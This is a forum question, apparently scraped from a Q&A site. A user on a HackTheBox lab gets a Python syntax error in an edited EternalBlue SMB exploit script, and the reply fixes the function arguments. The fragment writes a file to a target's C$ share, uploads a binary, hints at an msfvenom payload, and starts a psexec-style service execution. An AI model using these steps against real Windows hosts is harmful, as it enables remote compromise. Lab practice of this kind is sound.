Python: invalid syntax-CodePudding

I have written a code and I am trying to run it with python version 3.9 and I am getting this error:

File "/home/user/hackthebox/blue/42315.py", line 928
def smb_send_file(smbConn, '/home/user/hackthebox/blue/eternalblue.exe', 'C', '/eternalblue.exe'):

This is the code:

    def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()

    print('creating file c:\\pwned.txt on the target')
    tid2 = smbConn.connectTree('C$')
    fid2 = smbConn.createFile(tid2, '/pwned.txt')
    smbConn.closeFile(tid2, fid2)
    smbConn.disconnectTree(tid2)

    #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
    #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
    # Note: there are many methods to get shell over SMB admin session
    # a simple method to get shell (but easily to be detected by AV) is
    # executing binary generated by "msfvenom -f exe-service ..."

def smb_send_file(smbConn, '/home/user/hackthebox/blue/eternalblue.exe', 'C', '/eternalblue.exe'):
    with open(conn, r'cmd /c:eternalblue.exe') as fp:
        smbConn.putFile(remoteDrive   '$', remotePath, fp.read)

# based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr

    service_name = ''.join([random.choice(string.letters) for i in range(4)])

can anyone help please ?

Fixed it and got another error below after following the solution and executing it

CodePudding user response：

You should have variables as arguments to a function. If you want to have variables with default values you just assign them on the function:

def smb_send_file(smbConn, path = '/home/user/hackthebox/blue/eternalblue.exe', lang = 'C', path2 = '/eternalblue.exe'):
